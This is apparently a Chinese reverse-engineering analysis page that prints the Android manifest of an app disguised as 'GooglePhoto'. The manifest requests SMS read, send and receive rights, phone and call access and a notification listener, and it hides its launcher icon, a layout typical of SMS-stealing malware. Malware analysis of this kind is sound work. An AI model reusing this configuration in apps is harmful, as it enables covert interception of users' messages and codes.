APK逆向工程 - “GooglePhoto (16) v369.317” 源代码分析


源码分析说明


当前分析文件:GooglePhoto (16) v369.317 -- AndroidManifest.xml

本分析报告仅用于安全研究目的,禁止用于任何非法用途。所有操作均需遵守当地法律法规。


<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="369.317&#10;" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.example.application" platformBuildVersionCode="34" platformBuildVersionName="14">
  <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="35"/>
  <uses-feature android:name="android.hardware.telephony" android:required="false"/>
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
  <uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES"/>
  <uses-permission android:name="com.google.android.providers.gsf.permission.WRITE_GSERVICES"/>
  <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
  <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
  <uses-permission android:name="android.permission.CALL_PHONE"/>
  <uses-permission android:name="android.permission.READ_SMS"/>
  <uses-permission android:name="android.permission.SEND_SMS"/>
  <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  <uses-permission android:name="android.permission.RECEIVE_MMS"/>
  <permission android:name="com.example.application.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="0x00000002"/>
  <uses-permission android:name="com.example.application.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
  <application android:theme="@7F0B000A" android:label="GooglePhoto (16)" android:icon="@7F080000" android:allowBackup="true" android:supportsRtl="true" android:extractNativeLibs="false" android:fullBackupContent="@7F0D0000" android:usesCleartextTraffic="true" android:roundIcon="@7F080001" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@7F0D0001">
    <receiver android:name="com.example.application.core.alarm.AlarmReceiver" android:enabled="true" android:exported="true">
      <intent-filter>
        <action android:name="CLIENT_RESTART"/>
      </intent-filter>
    </receiver>
    <receiver android:name="com.example.application.core.telephony.sms.SmsReceiver" android:permission="android.permission.BROADCAST_SMS" android:exported="true">
      <intent-filter>
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
        <action android:name="android.provider.Telephony.SMS_DELIVER"/>
      </intent-filter>
    </receiver>
    <receiver android:name="com.example.application.core.telephony.sms.DeliverySmsReceiver" android:enabled="true" android:exported="true">
      <intent-filter>
        <action android:name="SMS_DELIVERED"/>
        <action android:name="SMS_SENT"/>
      </intent-filter>
    </receiver>
    <receiver android:name="com.example.application.core.WapPushReceiver" android:permission="android.permission.BROADCAST_WAP_PUSH" android:exported="true">
      <intent-filter>
        <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
        <data android:mimeType="application/vnd.wap.mms-message"/>
      </intent-filter>
    </receiver>
    <activity android:name="com.example.application.core.SmsActivity" android:exported="true">
      <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <action android:name="android.intent.action.SENDTO"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="sms"/>
        <data android:scheme="smsto"/>
        <data android:scheme="mms"/>
        <data android:scheme="mmsto"/>
      </intent-filter>
    </activity>
    <service android:name="com.example.application.core.SmsService" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true">
      <intent-filter>
        <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="sms"/>
        <data android:scheme="smsto"/>
        <data android:scheme="mms"/>
        <data android:scheme="mmsto"/>
      </intent-filter>
    </service>
    <service android:label="GooglePhoto (16)" android:name="com.example.application.core.push.PushListenerService" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" android:exported="true">
      <intent-filter>
        <action android:name="android.service.notification.NotificationListenerService"/>
      </intent-filter>
    </service>
    <activity android:theme="@7F0B000A" android:name="com.example.application.MainActivity" android:exported="true" android:configChanges="0x00000480">
      <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.INFO"/>
        <category android:name="android.intent.category.DEFAULT"/>
      </intent-filter>
    </activity>
    <provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.example.application.androidx-startup">
      <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
      <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
      <meta-data android:name="androidx.profileinstaller.ProfileInstallerInitializer" android:value="androidx.startup"/>
    </provider>
    <receiver android:name="androidx.profileinstaller.ProfileInstallReceiver" android:permission="android.permission.DUMP" android:enabled="true" android:exported="true" android:directBootAware="false">
      <intent-filter>
        <action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
      </intent-filter>
      <intent-filter>
        <action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
      </intent-filter>
      <intent-filter>
        <action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
      </intent-filter>
      <intent-filter>
        <action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
      </intent-filter>
    </receiver>
  </application>
</manifest>